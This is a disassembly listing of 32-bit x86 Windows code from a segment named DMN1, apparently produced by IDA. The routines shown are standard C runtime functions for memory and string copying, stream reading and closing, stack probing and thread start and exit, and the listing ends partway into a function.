loc_449577:				; CODE XREF: DMN1:00449572j
		push	esi
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [edi]
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		mov	eax, [edi]
		add	eax, esi
		mov	[edi], eax
		sub	[edi+4], esi
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4495A1	proc near		; CODE XREF: DMN1:00443411p
					; DMN1:00443441p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4495BD
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0
		jmp	short loc_4495CD
; ---------------------------------------------------------------------------


loc_4495BD:				; CODE XREF: sub_4495A1+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		mov	[ebp+var_4], eax


loc_4495CD:				; CODE XREF: sub_4495A1+1Aj
		mov	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset sub_407240
		call	sub_44ABC1
		add	esp, 10h
		mov	ebx, eax
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx],	0
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4495A1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp+10h]
		push	0
		lea	eax, [ebp-4]
		push	eax
		push	esi
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	dword_411D94
		test	eax, eax
		jz	short loc_44962F
		cmp	[ebp-4], esi
		jnz	short loc_44962F
		mov	edi, ebx
		jmp	short loc_449631
; ---------------------------------------------------------------------------


loc_44962F:				; CODE XREF: DMN1:00449624j
					; DMN1:00449629j
		xor	edi, edi


loc_449631:				; CODE XREF: DMN1:0044962Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449641	proc near		; CODE XREF: DMN1:00443451p
					; DMN1:0044346Dp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_44AE41
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44965A
		or	eax, 0FFFFFFFFh
		jmp	short loc_449672
; ---------------------------------------------------------------------------


loc_44965A:				; CODE XREF: sub_449641+12j
		lea	edi, [ebp+arg_4]
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	offset sub_4072E0
		call	sub_44ABC1
		add	esp, 10h
		mov	esi, eax


loc_449672:				; CODE XREF: sub_449641+17j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_449641	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+10h]
		push	ebx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		add	eax, ebx
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4496A1	proc near		; CODE XREF: DMN1:004434EDp
					; sub_4448CA+17Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		lea	esi, [ebp+arg_8]
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset sub_407360
		call	sub_44ABC1
		add	esp, 10h
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_4496CC
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+ebx], 0


loc_4496CC:				; CODE XREF: sub_4496A1+22j
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4496A1	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4496E1	proc near		; CODE XREF: DMN1:00443512p
					; sub_445B59+77p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00449745 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8B0
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_44AB21
		pop	ecx
		mov	[ebp+var_4], 0
		call	sub_44AEA1
		push	0FFFFFFFFh
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44AF01
		add	esp, 10h
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_44973C
		jmp	short loc_449745
sub_4496E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_44973C	proc near		; CODE XREF: sub_4496E1+54p
		push	6
		call	sub_44ABA1
		pop	ecx
		retn
sub_44973C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4496E1


loc_449745:				; CODE XREF: sub_4496E1+59j
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4496E1
; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp+10h]
		push	ebx
		push	esi
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		call	sub_449B41
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_449785
		mov	edi, ebx
		jmp	short loc_449787
; ---------------------------------------------------------------------------


loc_449785:				; CODE XREF: DMN1:0044977Fj
		xor	edi, edi


loc_449787:				; CODE XREF: DMN1:00449783j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449791	proc near		; CODE XREF: DMN1:0044352Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset sub_407440
		call	sub_44ABC1
		add	esp, 10h
		mov	ebx, eax
		pop	ebx
		pop	ebp
		retn
sub_449791	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx


loc_4497C4:				; CODE XREF: DMN1:004497DDj
		mov	eax, off_411370[ebx*4]
		test	eax, eax
		jz	short loc_4497D6
		push	eax
		call	sub_449941
		pop	ecx


loc_4497D6:				; CODE XREF: DMN1:004497CDj
		inc	ebx
		cmp	ebx, 100h
		jb	short loc_4497C4
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4497E1	proc near		; CODE XREF: sub_44AF01:loc_44B035p
					; sub_44B281+B2p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00449848 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8BC
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_44AB21
		pop	ecx
		mov	[ebp+var_4], 0
		cmp	dword_41105C, 0
		jnz	short loc_449834
		mov	dword_41105C, 1
		push	offset sub_4074A0
		call	sub_44B051
		pop	ecx


loc_449834:				; CODE XREF: sub_4497E1+3Cj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_44983F
		jmp	short loc_449848
sub_4497E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_44983F	proc near		; CODE XREF: sub_4497E1+57p
		push	6
		call	sub_44ABA1
		pop	ecx
		retn
sub_44983F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4497E1


loc_449848:				; CODE XREF: sub_4497E1+5Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4497E1
; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449861	proc near		; CODE XREF: sub_449941+39p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		push	ebx
		call	sub_44B081
		pop	ecx
		mov	esi, eax
		test	word ptr [ebx],	40h
		jz	short loc_449882
		mov	eax, [ebx+8]
		push	eax
		call	sub_4494D1
		pop	ecx


loc_449882:				; CODE XREF: sub_449861+15j
		mov	dword ptr [ebx+8], 0
		mov	eax, [ebx+4]
		test	eax, eax
		jl	short loc_44989E
		push	eax
		call	sub_44B201
		pop	ecx
		test	eax, eax
		jz	short loc_44989E
		or	esi, 0FFFFFFFFh


loc_44989E:				; CODE XREF: sub_449861+2Dj
					; sub_449861+38j
		mov	eax, [ebx+3Ch]
		test	eax, eax
		jz	short loc_4498C4
		push	eax
		call	sub_449E71
		pop	ecx
		test	eax, eax
		jz	short loc_4498B3
		or	esi, 0FFFFFFFFh


loc_4498B3:				; CODE XREF: sub_449861+4Dj
		mov	eax, [ebx+3Ch]
		push	eax
		call	sub_4494D1
		pop	ecx
		mov	dword ptr [ebx+3Ch], 0


loc_4498C4:				; CODE XREF: sub_449861+42j
		test	word ptr [ebx],	80h
		jz	short loc_4498F5
		xor	edi, edi


loc_4498CD:				; CODE XREF: sub_449861+89j
		cmp	ebx, off_411370[edi*4]
		jnz	short loc_4498E3
		mov	off_411370[edi*4], 0
		jmp	short loc_4498EC
; ---------------------------------------------------------------------------


loc_4498E3:				; CODE XREF: sub_449861+73j
		inc	edi
		cmp	edi, 100h
		jb	short loc_4498CD


loc_4498EC:				; CODE XREF: sub_449861+80j
		push	ebx
		call	sub_4494D1
		pop	ecx
		jmp	short loc_44992E
; ---------------------------------------------------------------------------


loc_4498F5:				; CODE XREF: sub_449861+68j
		mov	word ptr [ebx],	0
		or	dword ptr [ebx+4], 0FFFFFFFFh
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		lea	eax, [ebx+48h]
		mov	[ebx+10h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+14h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+2Ch], eax
		lea	eax, [ebx+48h]
		mov	[ebx+18h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+30h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+1Ch], eax
		lea	eax, [ebx+28h]
		mov	[ebx+20h], eax


loc_44992E:				; CODE XREF: sub_449861+92j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_449861	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449941	proc near		; CODE XREF: DMN1:00443535p
					; sub_445B59+108p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00449997 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8C8
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_44AB21
		pop	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_449861
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_44998E
		jmp	short loc_449997
sub_449941	endp


; =============== S U B	R O U T	I N E =======================================



sub_44998E	proc near		; CODE XREF: sub_449941+46p
		push	6
		call	sub_44ABA1
		pop	ecx
		retn
sub_44998E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449941


loc_449997:				; CODE XREF: sub_449941+4Bj
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_449941
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4499B1	proc near		; CODE XREF: sub_443888+Fp
					; sub_4438D8+Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		test	edx, edx
		jz	short loc_4499FF
		mov	ecx, [esp+arg_0]
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4499F8
		neg	ecx
		and	ecx, 3
		jz	short loc_4499DA
		sub	edx, ecx


loc_4499D4:				; CODE XREF: sub_4499B1+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4499D4


loc_4499DA:				; CODE XREF: sub_4499B1+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4499F8
		rep stosd
		test	edx, edx
		jz	short loc_4499FE


loc_4499F8:				; CODE XREF: sub_4499B1+18j
					; sub_4499B1+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4499F8


loc_4499FE:				; CODE XREF: sub_4499B1+45j
		pop	edi


loc_4499FF:				; CODE XREF: sub_4499B1+6j
		mov	eax, [esp+arg_0]
		retn
sub_4499B1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449A11	proc near		; CODE XREF: sub_443D76+2Cp
					; sub_443DFB+57p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_8]
		mov	ebx, [esp+4+arg_0]
		mov	edx, [esp+4+arg_4]
		jmp	short loc_449A27
; ---------------------------------------------------------------------------


loc_449A20:				; CODE XREF: sub_449A11+18j
		mov	al, [edx]
		mov	[ebx], al
		inc	ebx
		inc	edx
		dec	ecx


loc_449A27:				; CODE XREF: sub_449A11+Dj
		test	ecx, ecx
		jnz	short loc_449A20
		mov	eax, [esp+4+arg_0]
		pop	ebx
		retn
sub_449A11	endp


; =============== S U B	R O U T	I N E =======================================



sub_449A31	proc near		; CODE XREF: sub_444529+2Ep
					; sub_444832+11p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	edx, ecx
		jmp	short loc_449A3A
; ---------------------------------------------------------------------------


loc_449A39:				; CODE XREF: sub_449A31+Cj
		inc	edx


loc_449A3A:				; CODE XREF: sub_449A31+6j
		cmp	byte ptr [edx],	0
		jnz	short loc_449A39
		mov	eax, edx
		sub	eax, ecx
		retn
sub_449A31	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449A51	proc near		; CODE XREF: sub_4445B7+3Fp
					; sub_4448CA+2D6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	edi
		mov	ecx, [esp+8+arg_0]
		mov	ebx, [esp+8+arg_4]
		mov	edi, ecx


loc_449A5D:				; CODE XREF: sub_449A51+18j
		mov	eax, edi
		inc	edi
		mov	edx, ebx
		inc	ebx
		mov	dl, [edx]
		mov	[eax], dl
		test	dl, dl
		jnz	short loc_449A5D
		mov	eax, ecx
		pop	edi
		pop	ebx
		retn
sub_449A51	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_449A71	proc near		; CODE XREF: sub_4445B7+53p
					; sub_4445B7+66p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ecx, [esp+4+arg_0]
		mov	ebx, [esp+4+arg_4]
		mov	edx, ecx
		jmp	short loc_449A7F
; ---------------------------------------------------------------------------


loc_449A7E:				; CODE XREF: sub_449A71+11j
		inc	edx


loc_449A7F:				; CODE XREF: sub_449A71+Bj
		cmp	byte ptr [edx],	0
		jnz	short loc_449A7E
		jmp	short loc_449A88
; ---------------------------------------------------------------------------


loc_449A86:				; CODE XREF: sub_449A71+1Dj
		inc	edx
		inc	ebx


loc_449A88:				; CODE XREF: sub_449A71+13j
		mov	al, [ebx]
		mov	[edx], al
		test	al, al
		jnz	short loc_449A86
		mov	eax, ecx
		pop	ebx
		retn
sub_449A71	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449AA1	proc near		; CODE XREF: sub_4448CA+268p
					; sub_4448CA+297p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_449AD1
		mov	eax, ebx
		jmp	short loc_449AEA
; ---------------------------------------------------------------------------


loc_449AB5:				; CODE XREF: sub_449AA1+45j
		mov	edi, ebx
		mov	esi, [esp+0Ch+arg_4]


loc_449ABB:				; CODE XREF: sub_449AA1+2Dj
		inc	esi
		mov	eax, esi
		cmp	byte ptr [eax],	0
		jnz	short loc_449AC7
		mov	eax, ebx
		jmp	short loc_449AEA
; ---------------------------------------------------------------------------


loc_449AC7:				; CODE XREF: sub_449AA1+20j
		inc	edi
		mov	eax, edi
		mov	dl, [esi]
		cmp	[eax], dl
		jz	short loc_449ABB
		inc	ebx


loc_449AD1:				; CODE XREF: sub_449AA1+Ej
		mov	eax, [esp+0Ch+arg_4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	ebx
		call	sub_44B261
		add	esp, 8
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_449AB5
		xor	eax, eax


loc_449AEA:				; CODE XREF: sub_449AA1+12j
					; sub_449AA1+24j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_449AA1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
; ---------------------------------------------------------------------------
		pop	ecx
		pop	eax
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_449B11
		mov	eax, esp
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_449B11	proc near		; CODE XREF: sub_444BB7+8p
					; sub_444E23+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_449B31


loc_449B1D:				; CODE XREF: sub_449B11+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_449B1D


loc_449B31:				; CODE XREF: sub_449B11+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_449B11	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449B41	proc near		; CODE XREF: sub_445B59+D8p
					; sub_4481D3+CBp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_C]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mul	[ebp+arg_8]
		mov	esi, eax
		test	eax, eax
		jz	loc_449C45
		cmp	[ebp+arg_4], 0
		jnz	loc_449C1B
		mov	eax, [ebp+arg_8]
		jmp	loc_449C45
; ---------------------------------------------------------------------------


loc_449B75:				; CODE XREF: sub_449B41+DCj
		mov	eax, [ebx+18h]
		cmp	eax, [ebx+10h]
		ja	short loc_449B8C
		push	ebx
		call	sub_44B281
		pop	ecx
		test	eax, eax
		jl	loc_449C23


loc_449B8C:				; CODE XREF: sub_449B41+3Aj
		test	word ptr [ebx],	400h
		jz	short loc_449BA7
		push	esi
		push	0Ah
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_44B381
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	short loc_449BAE
; ---------------------------------------------------------------------------


loc_449BA7:				; CODE XREF: sub_449B41+50j
		mov	[ebp+var_10], 0


loc_449BAE:				; CODE XREF: sub_449B41+64j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_449BC6
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		sub	eax, edx
		inc	eax
		mov	[ebp+var_14], eax
		jmp	short loc_449BC9
; ---------------------------------------------------------------------------


loc_449BC6:				; CODE XREF: sub_449B41+75j
		mov	[ebp+var_14], esi


loc_449BC9:				; CODE XREF: sub_449B41+83j
		mov	edi, [ebp+var_14]
		mov	eax, [ebx+18h]
		mov	edx, [ebx+10h]
		sub	eax, edx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], edi
		jnb	short loc_449BE6
		mov	[ebp+var_8], 0
		mov	edi, [ebp+var_C]


loc_449BE6:				; CODE XREF: sub_449B41+99j
		push	edi
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	[ebp+var_4], eax
		sub	esi, edi
		lea	eax, [ebx+10h]
		mov	edx, [eax]
		add	edx, edi
		mov	[eax], edx
		cmp	[ebp+var_8], 0
		jz	short loc_449C1B
		push	ebx
		call	sub_44B081
		pop	ecx
		test	eax, eax
		jnz	short loc_449C23


loc_449C1B:				; CODE XREF: sub_449B41+26j
					; sub_449B41+CDj
		test	esi, esi
		jnz	loc_449B75


loc_449C23:				; CODE XREF: sub_449B41+45j
					; sub_449B41+D8j
		test	word ptr [ebx],	800h
		jz	short loc_449C31
		push	ebx
		call	sub_44B081
		pop	ecx


loc_449C31:				; CODE XREF: sub_449B41+E7j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mul	[ebp+arg_8]
		sub	eax, esi
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		xor	edx, edx
		div	ecx


loc_449C45:				; CODE XREF: sub_449B41+1Cj
					; sub_449B41+2Fj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_449B41	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8D4
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	ebx, [ebp+8]
		push	ebx
		mov	eax, dword_411770
		push	eax
		call	dword_411D98
		test	eax, eax
		jnz	short loc_449C93
		push	1
		call	sub_44B571
		pop	ecx


loc_449C93:				; CODE XREF: DMN1:00449C89j
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebx+44h]
		push	eax
		call	dword ptr [ebx+40h]
		pop	ecx
		call	sub_449D81
		jmp	short loc_449CD1
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-14h]
		push	eax
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_44B581
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_44B571
		pop	ecx


loc_449CD1:				; CODE XREF: DMN1:00449CA7j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449CF1	proc near		; CODE XREF: DMN1:004462C6p
					; DMN1:00446343p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	48h
		call	sub_44A581
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_449D60
		push	ebx
		call	sub_44B441
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebx+40h], eax
		mov	eax, [ebp+arg_8]
		mov	[ebx+44h], eax
		push	ebx
		push	4
		push	ebx
		push	offset sub_407930
		mov	eax, [ebp+arg_4]
		push	eax
		push	0
		call	dword_411D9C
		mov	edi, eax
		mov	[ebx+4], eax
		test	eax, eax
		jnz	short loc_449D42
		call	dword_411CE8
		mov	esi, eax
		jmp	short loc_449D60
; ---------------------------------------------------------------------------


loc_449D42:				; CODE XREF: sub_449CF1+45j
		mov	eax, edi
		push	eax
		call	dword_411DA0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_449D5C
		call	dword_411CE8
		mov	esi, eax
		jmp	short loc_449D60
; ---------------------------------------------------------------------------


loc_449D5C:				; CODE XREF: sub_449CF1+5Fj
		mov	eax, edi
		jmp	short loc_449D75
; ---------------------------------------------------------------------------


loc_449D60:				; CODE XREF: sub_449CF1+14j
					; sub_449CF1+4Fj ...
		push	ebx
		call	sub_4494D1
		pop	ecx
		test	esi, esi
		jz	short loc_449D72
		push	esi
		call	sub_44A621
		pop	ecx


loc_449D72:				; CODE XREF: sub_449CF1+78j
		or	eax, 0FFFFFFFFh


loc_449D75:				; CODE XREF: sub_449CF1+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_449CF1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449D81	proc near		; CODE XREF: DMN1:00445E92p
					; DMN1:004462FFp ...
		push	ebx
		call	sub_44B471
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_449D95
		push	1
		call	sub_44B571
		pop	ecx


loc_449D95:				; CODE XREF: sub_449D81+Aj
		cmp	dword ptr [ebx+4], 0FFFFFFFFh
		jz	short loc_449DA8
		mov	eax, [ebx+4]
		push	eax
		call	dword_411CF8


loc_449DA8:				; CODE XREF: sub_449D81+1Bj
		push	ebx
		call	sub_44B4E1
		pop	ecx
		push	0
		call	dword_411DA4
		pop	ebx
		retn
sub_449D81	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449DC1	proc near		; CODE XREF: sub_447C50+DAp
					; sub_447C50+F1p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00449E47 SIZE 0000001B BYTES

		push	ebp
